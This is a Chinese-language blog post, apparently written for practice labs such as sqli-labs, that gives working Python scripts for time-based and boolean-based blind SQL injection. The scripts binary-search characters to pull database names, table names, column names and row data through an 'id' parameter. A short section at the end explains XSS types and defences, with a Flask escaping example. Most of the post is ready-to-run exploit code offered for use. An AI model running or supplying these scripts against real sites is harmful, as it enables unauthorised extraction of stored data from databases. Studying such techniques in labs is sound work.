简单注入脚本

时间盲注

获取库

def inject_database(url):
    dataname = ''
    for i in range(1, 20):  
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = f"1' and if(ascii(substr(database(),{i},1))>{mid},sleep(2),0)-- "
            res = {"id": payload}
            start_time = time.time()
            try:
                r = requests.get(url, params=res, timeout=10)
            except requests.exceptions.Timeout:
                low = mid + 1
            except requests.exceptions.RequestException as e:
                print(f"请求失败:{e}")
                return None
            else:
                elapsed_time = time.time() - start_time
                if elapsed_time >= 2:
                    low = mid + 1
                else:
                    high = mid
            mid = (low + high) // 2
        if low == 32:
            break
        dataname += chr(low)
    print("数据库名:", dataname)
    return dataname

获取表
 

def inject_tables(url, database):
    tables = []
    for i in range(1, 20): 
        table_name = ''
        for j in range(1, 100):  
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and if(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {i-1},1),{j},1))>{mid},sleep(2),0)-- "
                res = {"id": payload}
                start_time = time.time()
                try:
                    r = requests.get(url, params=res, timeout=10)
                except requests.exceptions.Timeout:
                    low = mid + 1
                except requests.exceptions.RequestException as e:
                    print(f"请求失败:{e}")
                    return None
                else:
                    elapsed_time = time.time() - start_time
                    if elapsed_time >= 2:
                        low = mid + 1
                    else:
                        high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            table_name += chr(low)
        if table_name:
            tables.append(table_name)
        else:
            break
    print("表名列表:", tables)
    return tables

获取列

def inject_columns(url, database, table):
    columns = []
    for i in range(1, 20):  
        column_name = ''
        for j in range(1, 100):  
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and if(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' LIMIT {i-1},1),{j},1))>{mid},sleep(2),0)-- "
                res = {"id": payload}
                start_time = time.time()
                try:
                    r = requests.get(url, params=res, timeout=10)
                except requests.exceptions.Timeout:
                    low = mid + 1
                except requests.exceptions.RequestException as e:
                    print(f"请求失败:{e}")
                    return None
                else:
                    elapsed_time = time.time() - start_time
                    if elapsed_time >= 2:
                        low = mid + 1
                    else:
                        high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            column_name += chr(low)
        if column_name:
            columns.append(column_name)
        else:
            break
    print(f"表 {table} 的列名列表:", columns)
    return columns

获取数据

def inject_data(url, database, table, column):
    data = []
    for i in range(1, 100):  
        value = ''
        for j in range(1, 100):  
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and if(ascii(substr((SELECT {column} FROM {database}.{table} LIMIT {i-1},1),{j},1))>{mid},sleep(2),0)-- "
                res = {"id": payload}
                start_time = time.time()
                try:
                    r = requests.get(url, params=res, timeout=10)
                except requests.exceptions.Timeout:
                    low = mid + 1
                except requests.exceptions.RequestException as e:
                    print(f"请求失败:{e}")
                    return None
                else:
                    elapsed_time = time.time() - start_time
                    if elapsed_time >= 2:
                        low = mid + 1
                    else:
                        high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            value += chr(low)
        if value:
            data.append(value)
        else:
            break
    print(f"表 {table} 的列 {column} 数据:", data)
    return data

布尔盲注

获取库

def inject_database(url):
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = f"1' and ascii(substr(database(),{i},1)) > {mid}-- "
            res = {"id": payload}
            try:
                r = requests.get(url, params=res)
            except requests.exceptions.RequestException as e:
                print(f"请求失败:{e}")
                return None
            if "You are in" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low == 32:
            break
        dataname += chr(low)
    print("数据库名:", dataname)
    return dataname

获取表

def inject_tables(url, database):
    tables = []
    for i in range(1, 20):
        table_name = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {i-1},1),{j},1)) > {mid}-- "
                res = {"id": payload}
                try:
                    r = requests.get(url, params=res)
                except requests.exceptions.RequestException as e:
                    print(f"请求失败:{e}")
                    return None
                if "You are in" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            table_name += chr(low)
        if table_name:
            tables.append(table_name)
        else:
            break
    print("表名列表:", tables)
    return tables

获取列

def inject_columns(url, database, table):
    columns = []
    for i in range(1, 20):
        column_name = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' LIMIT {i-1},1),{j},1)) > {mid}-- "
                res = {"id": payload}
                try:
                    r = requests.get(url, params=res)
                except requests.exceptions.RequestException as e:
                    print(f"请求失败:{e}")
                    return None
                if "You are in" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            column_name += chr(low)
        if column_name:
            columns.append(column_name)
        else:
            break
    print(f"表 {table} 的列名列表:", columns)
    return columns

获取数据

def inject_data(url, database, table, column):
    data = []
    for i in range(1, 20):
        value = ''
        for j in range(1, 20):
            low = 32
            high = 128
            mid = (low + high) // 2
            while low < high:
                payload = f"1' and ascii(substr((SELECT {column} FROM {database}.{table} LIMIT {i-1},1),{j},1)) > {mid}-- "
                res = {"id": payload}
                try:
                    r = requests.get(url, params=res)
                except requests.exceptions.RequestException as e:
                    print(f"请求失败:{e}")
                    return None
                if "You are in" in r.text:
                    low = mid + 1
                else:
                    high = mid
                mid = (low + high) // 2
            if low == 32:
                break
            value += chr(low)
        if value:
            data.append(value)
        else:
            break
    print(f"表 {table} 的列 {column} 数据:", data)
    return data
### XSS攻击原理与注入脚本方式 XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在网页中嵌入恶意脚本代码,当其他用户浏览该页面时,这些代码会在用户的浏览器上执行。这种攻击通常利用了网站对用户输入的验证不足或过滤不严的问题。 #### 注入脚本的方式 1. **反射型XSS**:攻击者将恶意脚本作为URL参数的一部分发送给受害者,如果服务器没有正确处理这些参数,就会将其直接返回给用户的浏览器并执行。 2. **存储型XSS**:恶意脚本被存储到服务器端,例如数据库中,然后在用户请求相关页面时自动加载和执行。 3. **DOM型XSS**:前端JavaScript动态修改文档对象模型(DOM)时,如果未经过滤或转义就直接使用用户提供的数据,则可能导致恶意代码被执行[^1]。 ### 攻击原理详解 - 在正常情况下,Web应用程序应该确保所有来自用户的输入都经过适当的清理和验证,以防止任何潜在的危害。 - 然而,在存在漏洞的情况下,攻击者可以构造特殊的输入,比如包含`<script>`标签或其他可执行代码的内容,来绕过简单的过滤机制。 - 一旦这样的输入被呈现给另一个用户的浏览器,它就可以访问cookie、会话令牌或者其他敏感信息,并可能代表用户执行操作[^2]。 ### 防御方法 为了有效防御XSS攻击,需要采取多层防护策略: 1. **输入验证**:对于所有用户提交的数据进行严格的校验,拒绝不符合规范的数据。 2. **输出编码**:根据不同的上下文环境(HTML, URL, JavaScript等),采用相应的编码方式对数据进行转换后再显示。 3. **内容安全策略 (CSP)**:设置HTTP头`Content-Security-Policy`来限制哪些来源的脚本能够被执行,从而阻止内联脚本和未知外部资源的加载。 4. **使用框架/库的安全特性**:许多现代Web开发框架内置了针对XSS的保护措施,如AngularJS中的自动转义功能。 5. **避免直接操作DOM**:特别是在处理不可信数据时,尽量减少使用原始的DOM操作方法,改用更安全的API或者模板引擎。 6. **定期更新依赖项**:保持所有第三方组件最新,及时修补已知的安全问题。 ```python # 示例 - Python Flask应用中如何对用户输入进行HTML转义 from flask import Flask, escape app = Flask(__name__) @app.route('/greet/<name>') def greet(name): # 使用escape函数确保name变量中的特殊字符被正确转义 safe_name = escape(name) return f'<h1>Hello, {safe_name}!</h1>' ``` 通过实施上述措施,可以大大降低遭受XSS攻击的风险。重要的是要认识到没有任何单一的技术能完全消除风险,因此综合运用多种技术是关键。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值